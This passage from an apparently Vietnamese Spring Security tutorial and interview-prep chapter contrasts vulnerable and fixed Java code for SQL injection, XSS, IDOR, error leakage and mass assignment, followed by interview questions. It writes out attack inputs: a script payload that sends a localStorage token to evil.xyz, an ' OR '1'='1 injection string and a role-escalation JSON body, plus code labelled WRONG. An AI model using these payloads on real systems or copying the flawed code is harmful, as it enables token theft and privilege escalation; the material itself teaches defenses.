HttpOnly. - IDOR (Broken Object Level Authorization):
GET /api/orders/1001trả đơn của người khác chỉ vì user đổi id. Mọi truy vấn theo id phải kiểm tra quyền sở hữu, ví dụfindByIdAndCustomerId(id, currentUserId), trả 404 thay vì 403 để không lộ sự tồn tại của tài nguyên. - Lộ thông tin qua exception: stack trace, câu SQL, version thư viện trong response. Giữ
server.error.include-stacktrace=never(mặc định), xử lý lỗi tập trung, log chi tiết ở server. - Mass assignment: bind request thẳng vào entity, user tự gửi thêm
"role": "ADMIN". Luôn dùng DTO riêng cho input.
SQL injection: code sai và code sửa
SQL injection là khi dữ liệu người dùng nhập bị ghép vào câu SQL và được DB hiểu như một phần của lệnh SQL.
@Repository
public class ProductSearchDao {
private static final Set<String> SORTABLE = Set.of("name", "price", "created_at");
private final JdbcTemplate jdbc;
public ProductSearchDao(JdbcTemplate jdbc) { this.jdbc = jdbc; }
public List<String> searchWrong(String name) {
String sql = "SELECT name FROM product WHERE name = '" + name + "'"; // WRONG: input becomes SQL
return jdbc.queryForList(sql, String.class);
}
public List<String> search(String name) {
return jdbc.queryForList("SELECT name FROM product WHERE name = ?", String.class, name); // bound value
}
public List<String> listSorted(String sortBy) {
if (!SORTABLE.contains(sortBy)) throw new IllegalArgumentException("invalid sort"); // whitelist
return jdbc.queryForList("SELECT name FROM product ORDER BY " + sortBy, String.class);
}
}Giải thích: Người dùng nhập ' OR '1'='1 vào ô tìm kiếm, bản sai tạo câu SELECT name FROM product WHERE name = '' OR '1'='1', điều kiện luôn đúng nên trả về toàn bộ bảng; nhập tinh vi hơn có thể đọc bảng users bằng UNION SELECT. Bản sửa dùng tham số ?: DB nhận câu SQL và giá trị tách riêng, chuỗi ' OR '1'='1 chỉ là một tên sản phẩm kỳ lạ, không bao giờ được phân tích thành SQL. Tên cột trong ORDER BY không truyền bằng ? được, nên listSorted chỉ cho phép các giá trị có trong danh sách trắng. JPA cũng vậy: @Query("... where p.name = :name") an toàn, còn nối chuỗi vào createQuery/createNativeQuery thì không.
XSS: code sai và code sửa
XSS (Cross-Site Scripting) là khi dữ liệu người dùng được chèn vào trang HTML mà không được escape, nên trình duyệt của người khác chạy nó như JavaScript. Escape nghĩa là đổi ký tự đặc biệt thành dạng hiển thị an toàn, ví dụ < thành <.
@RestController
public class GreetingController {
@GetMapping(value = "/hello", produces = MediaType.TEXT_HTML_VALUE)
public String helloWrong(@RequestParam String name) {
return "<h1>Xin chào " + name + "</h1>"; // WRONG: name=<script>...</script> runs in the browser
}
@GetMapping(value = "/hello-safe", produces = MediaType.TEXT_HTML_VALUE)
public String hello(@RequestParam String name) {
return "<h1>Xin chào " + HtmlUtils.htmlEscape(name) + "</h1>"; // "<" becomes "<", shown as text
}
}Giải thích: Kẻ tấn công gửi cho nạn nhân link /hello?name=<script>fetch('https://evil.xyz?c='+localStorage.token)</script>. Bản sai trả về HTML chứa thẻ script đó, trình duyệt nạn nhân chạy nó và gửi token trong localStorage cho kẻ tấn công. Bản sửa escape name, trình duyệt hiển thị nguyên văn chuỗi <script>... như chữ. Trong thực tế bạn ít tự ghép HTML: Thymeleaf th:text tự escape (còn th:utext thì không), React tự escape (trừ dangerouslySetInnerHTML). Thêm lớp phòng thủ bằng header Content-Security-Policy, ví dụ http.headers(h -> h.contentSecurityPolicy(csp -> csp.policyDirectives("script-src 'self'"))) cấm chạy script nhúng trong trang, và cookie HttpOnly để JavaScript không đọc được cookie.
IDOR: code sai và code sửa
IDOR (Insecure Direct Object Reference) là khi API tin vào id người dùng gửi lên mà không kiểm tra người đó có quyền với đối tượng này không.
@RestController
@RequestMapping("/api/orders")
public class OrderController {
private final OrderRepository orders;
public OrderController(OrderRepository orders) { this.orders = orders; }
@GetMapping("/v1/{id}")
public OrderDto getWrong(@PathVariable long id) {
return OrderDto.from(orders.findById(id).orElseThrow()); // WRONG: any logged-in user reads any order
}
@GetMapping("/{id}")
public OrderDto get(@PathVariable long id, @AuthenticationPrincipal Jwt jwt) {
return orders.findByIdAndCustomerId(id, jwt.getSubject()) // ownership is part of the query
.map(OrderDto::from)
.orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND)); // 404 hides existence
}
}Giải thích: alice (đã đăng nhập, token hợp lệ) gọi /api/orders/v1/1001 rồi đổi thành 1002, 1003...: bản sai trả về đơn hàng, địa chỉ, số điện thoại của người khác, vì nó chỉ kiểm tra "đã đăng nhập" (rule authenticated()). Bản sửa lấy id người dùng từ token (sub) do server đã xác minh, không tin vào tham số client gửi, và đưa điều kiện sở hữu vào câu truy vấn. Đơn không thuộc alice thì trả 404 như thể không tồn tại, để alice không dò được id nào có thật.
Lộ thông tin qua exception: code sai và code sửa
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.dao.DataAccessException;
import org.springframework.http.HttpStatus;
import org.springframework.http.ProblemDetail;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import java.util.UUID;
@RestControllerAdvice
public class DbErrorHandler {
private static final Logger log = LoggerFactory.getLogger(DbErrorHandler.class);
// WRONG version: return ResponseEntity.status(500).body(ex.getMessage());
// leaks e.g. "ERROR: duplicate key value violates unique constraint \"users_email_key\""
@ExceptionHandler(DataAccessException.class)
public ProblemDetail handleDb(DataAccessException ex) {
String errorId = UUID.randomUUID().toString();
log.error("DB error {}", errorId, ex); // full details only in the server log
ProblemDetail pd = ProblemDetail.forStatusAndDetail(HttpStatus.INTERNAL_SERVER_ERROR, "Internal error");
pd.setProperty("errorId", errorId); // support can find the log line by this id
return pd;
}
}Giải thích: Bản sai (dòng comment) trả nguyên thông điệp của exception: kẻ tấn công biết tên bảng, tên constraint, loại DB, thậm chí một phần câu SQL, rồi dùng chúng để tinh chỉnh tấn công SQL injection. Bản sửa chỉ trả thông điệp chung cùng một errorId; khi người dùng báo lỗi, đội hỗ trợ tìm errorId trong log để xem chi tiết. Kết hợp với server.error.include-stacktrace=never và server.error.include-message=never (đều là mặc định của Boot 3) để trang lỗi mặc định cũng không lộ gì.
Mass assignment: code sai và code sửa
@RestController
@RequestMapping("/api/me")
public class ProfileController {
private final UserService userService;
public ProfileController(UserService userService) { this.userService = userService; }
@PutMapping("/v1")
public void updateWrong(@RequestBody AppUser user) { // WRONG: the client controls every entity field
userService.save(user); // body {"id":1,"role":"ADMIN"} -> privilege escalation
}
public record UpdateProfileRequest(@NotBlank String displayName, String phone) {} // only editable fields
@PutMapping
public void update(@Valid @RequestBody UpdateProfileRequest req, @AuthenticationPrincipal Jwt jwt) {
userService.updateProfile(jwt.getSubject(), req.displayName(), req.phone()); // copy allowed fields only
}
}Giải thích: Bản sai bind JSON thẳng vào entity AppUser, nên Jackson gán mọi field có trong body, kể cả role, id của người khác, hay balance. User thường gửi thêm "role":"ADMIN" là tự nâng quyền. Bản sửa dùng DTO chỉ có các field được phép sửa, lấy id người dùng từ token, và service chỉ chép đúng các field đó vào entity. Field lạ trong JSON bị bỏ qua.
5.7 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Hiểu sâu): Mô tả điều gì xảy ra với một request có JWT, từ lúc vào ứng dụng cho đến khi tới controller?
Request đi qua DelegatingFilterProxy → FilterChainProxy → SecurityFilterChain khớp URL. BearerTokenAuthenticationFilter lấy token từ header, JwtDecoder verify chữ ký và các claim, JwtAuthenticationConverter chuyển claim thành authorities, Authentication được đặt vào SecurityContextHolder. AuthorizationFilter kiểm tra rule URL; qua được thì tới DispatcherServlet, rồi @PreAuthorize kiểm tra tiếp ở tầng method.
Câu hỏi đào sâu
"Trong code @Async, SecurityContextHolder.getContext().getAuthentication() trả về null, vì sao?" — Context mặc định lưu trong ThreadLocal, thread của executor không có nó. Dùng DelegatingSecurityContextExecutor hoặc truyền thông tin user tường minh vào method.
Câu hỏi (Cơ bản): 401 khác 403 thế nào? Spring Security trả chúng từ đâu?
401 là chưa xác thực hoặc credential không hợp lệ, 403 là đã xác thực nhưng không đủ quyền. ExceptionTranslationFilter bắt AuthenticationException và gọi AuthenticationEntryPoint (401), bắt AccessDeniedException với user đã xác thực và gọi AccessDeniedHandler (403). Muốn lỗi có format thống nhất thì tùy biến hai thành phần này.
Câu hỏi (Thực chiến): Chọn session hay JWT cho hệ thống của bạn? Vì sao?
Câu trả lời tốt bắt đầu từ bối cảnh: web monolith cùng domain thì session cộng Redis session store đơn giản, thu hồi dễ. Nhiều client (mobile, SPA, service khác), có authorization server tập trung, cần scale ngang không chia sẻ state thì JWT phù hợp, kèm access token ngắn hạn và refresh token xoay vòng lưu phía server.
Bẫy thường gặp
"JWT tốt hơn vì stateless" mà không nói được cách logout hay thu hồi token khi tài khoản bị khóa. Người phỏng vấn sẽ hỏi ngay câu đó.
Câu hỏi đào sâu
"User đổi mật khẩu, làm sao vô hiệu mọi token cũ?" — Thu hồi toàn bộ refresh token của user trong DB, và với access token còn hạn thì dùng denylist theo jti hoặc so tokenVersion/passwordChangedAt với claim iat.
Câu hỏi (Hiểu sâu): Khi nào được tắt CSRF?
Khi API không dựa vào cookie để xác thực: token gửi trong header Authorization, trình duyệt không tự gắn, nên trang độc hại không giả mạo được. Nếu dùng session cookie hoặc để JWT trong cookie thì phải giữ CSRF protection.
Bẫy thường gặp
Tắt CSRF "vì nó làm POST bị 403" trong khi ứng dụng vẫn đăng nhập bằng session cookie. Đó là mở cửa cho CSRF thật.
Câu hỏi (Cơ bản): CORS có bảo vệ API khỏi bị gọi trái phép không?
Không. CORS chỉ quyết định JavaScript ở origin khác có được đọc response hay không; curl hay Postman gọi thẳng được. Bảo vệ API là việc của authentication, authorization và rate limiting.
Câu hỏi (Hiểu sâu): OAuth2 và OIDC khác nhau thế nào? Vì sao cần PKCE?
OAuth2 là ủy quyền truy cập tài nguyên (access token), OIDC bổ sung định danh (ID token) để biết user là ai. PKCE gắn authorization code với một bí mật chỉ client biết (code_verifier), nên code bị chặn giữa đường cũng vô dụng; nó cần thiết cho public client (SPA, mobile) không giữ được client secret, và hiện được khuyến nghị cho mọi client.
Câu hỏi (Thực chiến): API GET /orders/{id} của bạn có lỗ hổng gì tiềm ẩn? Bạn chặn thế nào?
IDOR: user đã đăng nhập đổi id để xem đơn của người khác. Authorization không dừng ở "đã đăng nhập", phải kiểm tra quyền trên từng đối tượng: truy vấn kèm điều kiện chủ sở hữu, hoặc @PreAuthorize gọi bean kiểm tra quyền. Dùng UUID thay cho id tăng dần chỉ làm khó đoán hơn, không thay được kiểm tra quyền.
Câu hỏi (Cơ bản): Authentication và authorization khác nhau thế nào? Cho ví dụ.
Authentication xác minh bạn là ai, authorization quyết định bạn được làm gì; authentication luôn diễn ra trước. Ví dụ: đăng nhập bằng username/password hay gửi JWT hợp lệ là authentication; rule "chỉ admin được DELETE" hay "user chỉ xem được đơn của mình" là authorization. Trong Spring Security, filter xác thực (như BearerTokenAuthenticationFilter) lo phần đầu, AuthorizationFilter và @PreAuthorize lo phần sau.
Câu hỏi (Cơ bản): Vì sao không lưu mật khẩu dạng plain text, và cũng không dùng SHA-256?
Plain text thì DB lộ là lộ mọi mật khẩu; SHA-256 thì quá nhanh nên bị dò rất rẻ. Hash một chiều bảo đảm server không cần biết mật khẩu gốc mà vẫn kiểm tra được. Nhưng SHA-256 được thiết kế để nhanh: GPU thử hàng tỷ mật khẩu mỗi giây, và SHA-256 không salt còn bị tra ngược bằng bảng tính sẵn. BCrypt/Argon2 tự sinh salt và cố tình chậm (có tham số chi phí), nên dò hàng loạt trở nên quá đắt.
Câu hỏi (Cơ bản): Salt là gì? Có cần giữ bí mật salt không?
Salt là chuỗi ngẫu nhiên riêng cho từng mật khẩu, ghép vào trước khi hash, để cùng một mật khẩu cho ra hash khác nhau. Salt không cần bí mật; BCrypt lưu salt ngay trong chuỗi hash. Mục đích của salt là làm bảng tra sẵn vô dụng và buộc kẻ tấn công dò từng user một, chứ không phải che giấu. (Một giá trị bí mật dùng chung ghép thêm vào, lưu ngoài DB, gọi là pepper, là lớp bảo vệ khác.)
Câu hỏi (Cơ bản): JWT gồm mấy phần? Payload của JWT có bị mã hóa không?
Ba phần: header, payload, signature, nối bằng dấu chấm; payload chỉ được base64url, ai cũng đọc được. Header nói thuật toán ký, payload chứa claim (sub, exp, iss, quyền...), signature bảo đảm hai phần kia không bị sửa. Chữ ký chống sửa, không chống đọc, nên không đặt dữ liệu nhạy cảm vào payload. Muốn giấu nội dung thật sự thì cần JWE (JWT mã hóa), rất ít dùng cho access token.
Câu hỏi (Cơ bản): SecurityContextHolder là gì? Lấy user hiện tại trong controller thế nào?
Là nơi Spring Security giữ Authentication của request hiện tại, mặc định gắn với thread qua ThreadLocal. Trong code có thể gọi SecurityContextHolder.getContext().getAuthentication(), nhưng trong controller nên dùng tham số @AuthenticationPrincipal Jwt jwt (resource server) hoặc Authentication authentication, vì dễ test và không phụ thuộc biến static. Vì dựa trên ThreadLocal, context không tự sang thread khác (@Async, CompletableFuture).
Câu hỏi (Cơ bản): SQL injection là gì và phòng thế nào trong Spring?
Là khi input người dùng được ghép vào câu SQL và DB thực thi nó như lệnh; phòng bằng tham số hóa truy vấn. Dùng ? với JdbcTemplate, :param với JPQL/@Query, hoặc derived query của Spring Data; không bao giờ nối chuỗi input vào SQL. Phần không tham số hóa được như tên cột trong ORDER BY thì kiểm tra theo danh sách trắng. User DB của ứng dụng chỉ nên có quyền tối thiểu để giảm thiệt hại nếu vẫn bị tấn công.
Câu hỏi (Hiểu sâu): Vì sao BCrypt cố tình chậm? Tăng cost từ 10 lên 12 thì sao?
Chậm là để làm đắt việc dò mật khẩu hàng loạt khi DB bị lộ, trong khi một lần đăng nhập hợp lệ chỉ tốn vài chục mili giây. Cost là số mũ: số vòng lặp bằng 2 mũ cost, nên từ 10 lên 12 làm mỗi lần hash chậm gấp 4. Trade-off: endpoint đăng nhập tốn CPU hơn và dễ bị lợi dụng để làm quá tải server, nên cần rate limit cho đăng nhập. Chọn cost sao cho một lần hash mất khoảng 100ms trên phần cứng production là hướng dẫn thường gặp.
Câu hỏi đào sâu
"Đổi cost hoặc đổi sang Argon2 thì user cũ làm sao?" — Dùng DelegatingPasswordEncoder (tiền tố {bcrypt}, {argon2}); khi user đăng nhập thành công, kiểm tra upgradeEncoding() và lưu lại hash mới. Spring Security có UserDetailsPasswordService làm việc này tự động.
Câu hỏi (Hiểu sâu): Vì sao JWT khó thu hồi? Có những cách nào?
Vì server xác minh JWT chỉ bằng chữ ký và exp, không tra cứu gì, nên không có "chỗ" nào để xóa token đã phát. Token hợp lệ về chữ ký thì được chấp nhận tới lúc hết hạn. Các cách: access token sống ngắn (5–15 phút) để giới hạn thiệt hại; refresh token lưu phía server để chặn việc cấp token mới; denylist theo jti trong Redis với TTL bằng thời gian sống còn lại; hoặc so tokenVersion của user với claim trong token. Hai cách sau đưa trạng thái trở lại, đổi một phần lợi ích stateless lấy khả năng thu hồi.
Câu hỏi (Hiểu sâu): Access token và refresh token khác nhau thế nào? Vì sao cần cả hai?
Access token sống ngắn, gửi kèm mọi request API; refresh token sống dài, chỉ gửi tới endpoint cấp token. Tách đôi để cân bằng: access token lộ thì chỉ dùng được vài phút; refresh token ít khi rời client, lưu phía server nên thu hồi được và xoay vòng để phát hiện bị đánh cắp. Chỉ dùng một token sống dài thì lộ là mất lâu dài; chỉ dùng token sống ngắn thì người dùng phải đăng nhập lại liên tục.
| Tiêu chí | Access token | Refresh token |
|---|---|---|
| Thời gian sống | 5–15 phút | Vài ngày đến vài tuần |
| Gửi tới | Mọi API (resource server) | Chỉ endpoint /token hoặc /auth/refresh |
| Server kiểm tra | Chữ ký, exp, iss, aud | Tra DB/Redis, trạng thái đã dùng hay chưa |
| Thu hồi | Khó (chờ hết hạn, denylist) | Dễ (xóa trong DB) |
Câu hỏi (Hiểu sâu): Token có role ADMIN nhưng hasRole("ADMIN") vẫn trả 403. Vì sao?
Vì converter mặc định của resource server chỉ map claim scope/scp thành authority SCOPE_xxx, không đọc claim role tự định nghĩa và không thêm tiền tố ROLE_. Token {"roles":["ADMIN"]} cho ra authority rỗng hoặc chỉ có SCOPE_..., nên hasRole("ADMIN") (tìm ROLE_ADMIN) thất bại, kết quả 403 vì user đã xác thực. Sửa bằng bean JwtAuthenticationConverter như ở mục 5.2. Cách debug nhanh: in authentication.getAuthorities() trong một endpoint thử, hoặc bật log DEBUG của Spring Security.
Câu hỏi (Hiểu sâu): Preflight request là gì? Khi nào trình duyệt gửi nó?
Là request OPTIONS trình duyệt tự gửi trước request cross-origin "không đơn giản" để hỏi server có cho phép không. Request "không đơn giản" là request có method khác GET/HEAD/POST, có header tùy chỉnh như Authorization, hoặc Content-Type khác form/text (ví dụ application/json). Hầu hết lời gọi REST từ SPA đều kích hoạt preflight. Server trả Access-Control-Allow-*, và Access-Control-Max-Age cho phép trình duyệt nhớ kết quả để khỏi hỏi lại mỗi lần. Preflight không mang token, nên filter CORS phải đứng trước filter xác thực.
Câu hỏi (Hiểu sâu): Cookie SameSite giúp gì cho việc chống CSRF? Có thay được CSRF token không?
SameSite bảo trình duyệt không gửi cookie trong request khởi phát từ site khác, nên chặn được phần lớn CSRF; nhưng nó là lớp bổ sung, không thay hoàn toàn CSRF token. Strict: không gửi cookie trong mọi request cross-site, kể cả khi bấm link từ email (người dùng bị "đăng xuất" khi vào từ link ngoài). Lax (mặc định của Chrome khi không khai báo): gửi cookie khi điều hướng GET cấp cao nhất, chặn POST cross-site. Giới hạn: "site" tính theo domain gốc, nên subdomain bị chiếm (blog.shop.vn) vẫn là cùng site với shop.vn; GET có tác dụng phụ vẫn bị lợi dụng với Lax.
Câu hỏi (Hiểu sâu): Vì sao refresh token lưu trong DB nên được hash, giống mật khẩu?
Vì refresh token là một loại mật khẩu: ai có nó là lấy được access token mới; DB lộ mà token lưu thô thì kẻ tấn công đăng nhập được thành mọi user. Khác mật khẩu, refresh token là chuỗi ngẫu nhiên dài (ví dụ 256 bit) nên không bị dò bằng từ điển, và một hash nhanh như SHA-256 là đủ, không cần BCrypt. Khi client gửi token lên, server hash rồi tra DB. Đây là cách nối kiến thức giữa lưu mật khẩu (mục 5.1) và thiết kế refresh token (mục 5.3).
Câu hỏi (Thực chiến): Sau khi thêm Spring Security, mọi request POST từ Postman đều bị 403 dù GET vẫn chạy. Vì sao?
Vì CSRF protection được bật mặc định và POST không mang CSRF token, CsrfFilter trả 403. GET không bị kiểm tra CSRF vì được coi là không thay đổi dữ liệu. Cách xử lý đúng tùy kiểu xác thực: nếu API là stateless dùng Bearer token trong header thì tắt CSRF cho chain đó và giải thích được lý do; nếu ứng dụng dùng session cookie thì giữ CSRF và cho client gửi token (ví dụ header X-XSRF-TOKEN đọc từ cookie XSRF-TOKEN). Tắt CSRF chỉ "vì nó làm POST lỗi" là câu trả lời mất điểm.
Câu hỏi (Thực chiến): Frontend báo lỗi "blocked by CORS policy: No 'Access-Control-Allow-Origin' header". Bạn điều tra theo thứ tự nào?
Mở tab Network xem preflight OPTIONS trả status gì và có header gì, rồi đối chiếu với cấu hình CORS và vị trí của nó trong filter chain. Các nguyên nhân hay gặp: preflight bị 401/403 vì chưa bật http.cors(...) nên Spring Security chặn trước (cấu hình CORS chỉ ở Spring MVC là không đủ); origin trong cấu hình khác thật (thiếu cổng :3000, http với https, dấu / ở cuối); header Authorization chưa có trong allowed headers; gateway/nginx phía trước cũng thêm hoặc xóa header CORS, gây trùng lặp. Lưu ý lỗi 500 từ server cũng có thể hiện như lỗi CORS nếu response lỗi thiếu header.
Câu hỏi (Thực chiến): Bạn nghi private key dùng để ký JWT đã bị lộ. Bạn xử lý thế nào?
Coi như mọi token đều có thể bị giả mạo: xoay khóa ngay, loại khóa cũ khỏi JWKS, buộc đăng nhập lại. Các bước: sinh cặp khóa mới với kid mới và bắt đầu ký bằng nó; gỡ public key cũ khỏi JWKS để resource server từ chối mọi token mang kid cũ (chú ý resource server có cache JWKS, cần biết thời gian cache hoặc chủ động làm mới); thu hồi toàn bộ refresh token; rà log truy cập để tìm token lạ (claim bất thường, sub không tồn tại). Về lâu dài: khóa nằm trong KMS/Vault, định kỳ xoay khóa, và đây là lý do dùng khóa bất đối xứng để các service chỉ giữ public key.
Câu hỏi (Đọc code): User thường (ROLE_USER) gọi DELETE /api/admin/users/5. Kết quả là gì?
// inside a @Bean SecurityFilterChain method, http is HttpSecurity
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
http.authorizeHttpRequests(auth -> auth
.requestMatchers("/api/auth/**").permitAll()
.requestMatchers("/api/**").authenticated()
.requestMatchers("/api/admin/**").hasRole("ADMIN")
.anyRequest().denyAll());Đáp án: Request được cho qua (tới controller, có thể trả 200/204) dù user không phải admin. AuthorizationFilter duyệt rule từ trên xuống và dừng ở rule đầu tiên khớp: /api/admin/users/5 không khớp /api/auth/**, nhưng khớp /api/** với yêu cầu chỉ là authenticated(), user đã đăng nhập nên qua. Rule hasRole("ADMIN") bên dưới không bao giờ được xét tới. Sửa: đặt /api/admin/** lên trước /api/**, rule cụ thể luôn đứng trước rule tổng quát. Nên thêm @PreAuthorize("hasRole('ADMIN')") ở service admin như lớp bảo vệ thứ hai.
Câu hỏi (Đọc code): Đoạn code dưới đây có lỗ hổng gì?
@Repository
public class UserSearchDao {
@PersistenceContext
private EntityManager em;
public List<AppUser> search(String keyword, String sort) {
return em.createQuery("select u from AppUser u where u.name like :kw order by u." + sort, AppUser.class)
.setParameter("kw", "%" + keyword + "%")
.getResultList();
}
}Đáp án: Có injection qua tham số sort. keyword an toàn vì được bind bằng :kw, nhưng sort được nối thẳng vào JPQL. Kẻ tấn công gửi sort=name, (select ...) hoặc biểu thức làm lỗi truy vấn để dò cấu trúc dữ liệu (JPQL injection, sau đó thành SQL). Nhiều người nghĩ "đã dùng setParameter là an toàn" mà bỏ sót phần nối chuỗi. Sửa: kiểm tra sort theo danh sách trắng (Set.of("name", "createdAt")), hoặc dùng Sort/Pageable của Spring Data với tên thuộc tính được kiểm tra.
Câu hỏi (Đọc code): @PreAuthorize ở deleteOne có được kiểm tra không?
@Service
public class DocumentService {
public void deleteMany(List<Long> ids) {
ids.forEach(this::deleteOne);
}
@PreAuthorize("hasRole('ADMIN')")
public void deleteOne(Long id) { /* delete the document */ }
}Đáp án: Không, khi được gọi từ deleteMany. @PreAuthorize chạy bằng AOP proxy, còn deleteMany gọi deleteOne qua this, bỏ qua proxy. deleteMany không có annotation nào, nên một user thường gọi deleteMany xóa được mọi tài liệu. Đây là cùng cơ chế self-invocation với @Transactional ở mục 4.5, nhưng hậu quả là lỗ hổng bảo mật. Sửa: đặt @PreAuthorize lên deleteMany (hoặc cả class), hoặc tách deleteOne sang bean khác.
Câu hỏi (Đọc code): Chương trình Java thuần dưới đây in ra gì, và bài học rút ra là gì?
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class JwtQuiz {
public static void main(String[] args) {
String payload = "{\"sub\":\"alice\",\"roles\":[\"USER\"]}";
String encoded = Base64.getUrlEncoder().withoutPadding()
.encodeToString(payload.getBytes(StandardCharsets.UTF_8));
String tampered = new String(Base64.getUrlDecoder().decode(encoded), StandardCharsets.UTF_8)
.replace("USER", "ADMIN");
System.out.println(tampered);
System.out.println(encoded.equals(Base64.getUrlEncoder().withoutPadding()
.encodeToString(tampered.getBytes(StandardCharsets.UTF_8))));
}
}Đáp án: In ra {"sub":"alice","roles":["ADMIN"]} rồi false. Bất kỳ ai cũng giải mã, sửa và mã hóa lại được payload mà không cần khóa, vì base64url không phải mã hóa bí mật. Điều duy nhất ngăn token giả là chữ ký: payload mới không khớp chữ ký cũ, và kẻ tấn công không có private key để ký lại. Vì vậy server bắt buộc phải verify chữ ký với thuật toán cố định; một server chỉ decode payload rồi tin vào roles là mở cửa cho mọi người tự phong admin.
Câu hỏi (Đọc code): Tìm lỗi bảo mật trong endpoint đổi thông tin tài khoản dưới đây.
@RestController
public class AccountController {
private final AppUserRepository users;
public AccountController(AppUserRepository users) { this.users = users; }
@PutMapping("/api/users/{id}")
public AppUser update(@PathVariable Long id, @RequestBody AppUser body) {
body.setId(id);
return users.save(body);
}
}Đáp án: Có ít nhất ba lỗi. (1) IDOR: bất kỳ user đã đăng nhập nào đổi id trên URL là sửa được tài khoản người khác, không có kiểm tra sở hữu. (2) Mass assignment: body là entity, nên gửi kèm "role":"ADMIN" hay "passwordHash":"..." là ghi đè được quyền và mật khẩu. (3) Lộ dữ liệu: trả nguyên entity về client, có thể lộ passwordHash và field nội bộ. Sửa: lấy user từ token thay vì id trên URL (hoặc kiểm tra id trùng user hiện tại/admin), nhận DTO chỉ gồm field được sửa, trả về DTO response không có field nhạy cảm.
5.8 Tóm tắt trọng tâm
- Authentication xác minh danh tính (sai thì 401), authorization kiểm tra quyền (thiếu thì 403); authentication luôn đi trước.
- Spring Security là chuỗi filter chạy trước DispatcherServlet, nên lỗi bảo mật được xử lý bởi
ExceptionTranslationFilter, không phải@RestControllerAdvice. Authenticationcủa request nằm trongSecurityContextHolderdựa trênThreadLocal, nên không tự sang thread khác.- Mật khẩu phải hash bằng BCrypt/Argon2 vì chúng có salt riêng và cố tình chậm; so bằng
matches(), không so chuỗi hash. - Cấu hình Spring Security 6 bằng bean
SecurityFilterChainvà lambda DSL; rulerequestMatcherskhớp theo thứ tự nên rule cụ thể đặt trước. @PreAuthorizechạy qua proxy nên cũng dính self-invocation như@Transactional.- JWT chỉ được ký, không được mã hóa, nên ai cũng đọc được payload; server phải verify chữ ký,
exp,iss,audvới thuật toán cố định. - JWT khó thu hồi vì server không lưu gì; bù bằng access token ngắn hạn, refresh token lưu server có xoay vòng, và denylist khi cần.
- OAuth2 là ủy quyền (access token), OIDC thêm định danh (ID token); Authorization Code + PKCE là luồng khuyến nghị vì code bị chặn cũng không đổi được token.
- CORS là cơ chế của trình duyệt quyết định JavaScript nào được đọc response, không bảo vệ server khỏi curl hay Postman.
- CSRF lợi dụng việc trình duyệt tự gửi cookie; chỉ được tắt CSRF khi credential nằm trong header
Authorization. - Chống SQL injection bằng tham số hóa và danh sách trắng, vì nối chuỗi biến input thành lệnh SQL.
- Chống IDOR bằng kiểm tra quyền sở hữu trong từng truy vấn, vì "đã đăng nhập" không có nghĩa là "được xem mọi thứ".
- Nhận input bằng DTO và trả lỗi chung chung kèm error id, vì entity và thông điệp exception lộ quá nhiều.